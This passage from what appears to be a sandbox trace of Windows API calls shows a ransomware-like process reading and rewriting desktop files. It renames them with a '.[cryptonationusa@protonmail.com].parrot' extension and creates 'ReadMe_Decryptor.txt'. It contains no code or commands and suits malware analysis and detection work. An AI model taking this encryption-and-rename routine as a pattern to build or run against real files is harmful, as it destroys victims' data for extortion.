lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0032.068] ReadFile (in: hFile=0x23c, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0032.068] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.068] ReadFile (in: hFile=0x23c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd78e, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0xd78e, lpOverlapped=0x0) returned 1 [0032.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0032.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0032.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0032.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0032.069] GetLastError () returned 0x0 [0032.069] SetLastError (dwErrCode=0x0) [0032.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0032.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0032.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0032.069] GetLastError () returned 0x0 [0032.069] SetLastError (dwErrCode=0x0) [0032.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.069] GetLastError () returned 0x0 [0032.069] SetLastError (dwErrCode=0x0) [0032.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0032.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0032.070] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0032.070] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0032.070] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.070] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0032.070] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0032.070] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0032.070] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x635298 [0032.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0032.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x606998 [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0032.074] GetLastError () returned 0x0 [0032.074] SetLastError (dwErrCode=0x0) [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0032.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.074] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0032.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0032.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0032.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0032.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0032.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0032.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0032.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x62c1b0 [0032.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6452d8 [0032.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62c1b0 | out: hHeap=0x5b0000) returned 1 [0032.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x629218 [0032.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0032.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x6452d8 [0032.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.078] WriteFile (in: hFile=0x23c, lpBuffer=0x6452e0*, nNumberOfBytesToWrite=0xd8a8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x6452e0*, lpNumberOfBytesWritten=0x18fa94*=0xd8a8, lpOverlapped=0x0) returned 1 [0032.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0032.079] UnlockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd8a6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0032.079] CloseHandle (hObject=0x23c) returned 1 [0032.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0032.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x601838 [0032.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0032.080] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gMaJkZ-LS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmajkz-ls.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gMaJkZ-LS.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmajkz-ls.mp4.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0032.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0032.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0032.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0032.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0032.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0032.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0032.081] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.082] GetFileType (hFile=0x23c) returned 0x1 [0032.082] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0032.201] lstrcmpW (lpString1="M9W9cW D4erSb.swf", lpString2="ReadMe_Decryptor.txt") returned -1 [0032.202] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M9W9cW D4erSb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m9w9cw d4ersb.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.202] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x1073 [0032.202] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x118b, nNumberOfBytesToLockHigh=0x0) returned 1 [0032.202] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0032.202] ReadFile (in: hFile=0x23c, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0032.202] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.202] ReadFile (in: hFile=0x23c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1073, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x1073, lpOverlapped=0x0) returned 1 [0032.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0032.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0032.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0032.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0032.202] GetLastError () returned 0x0 [0032.202] SetLastError (dwErrCode=0x0) [0032.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0032.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0032.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0032.203] GetLastError () returned 0x0 [0032.203] SetLastError (dwErrCode=0x0) [0032.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.203] GetLastError () returned 0x0 [0032.203] SetLastError (dwErrCode=0x0) [0032.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0032.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0032.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0032.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.204] GetLastError () returned 0x0 [0032.204] SetLastError (dwErrCode=0x0) [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0032.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.204] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0032.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0032.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0032.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0032.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0032.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0032.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0032.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0032.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0032.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0032.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0032.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0032.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0032.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0032.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0032.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0032.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0032.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5cce58 [0032.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0032.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d4d18 [0032.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x629218 [0032.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.205] WriteFile (in: hFile=0x23c, lpBuffer=0x629220*, nNumberOfBytesToWrite=0x1198, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x629220*, lpNumberOfBytesWritten=0x18fa94*=0x1198, lpOverlapped=0x0) returned 1 [0032.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.205] UnlockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x118b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0032.205] CloseHandle (hObject=0x23c) returned 1 [0032.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0032.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x601838 [0032.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0032.206] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M9W9cW D4erSb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m9w9cw d4ersb.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M9W9cW D4erSb.swf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m9w9cw d4ersb.swf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0032.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0032.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0032.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0032.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0032.207] RtlAllocateHeap (HeapHandle=0x5b0000, 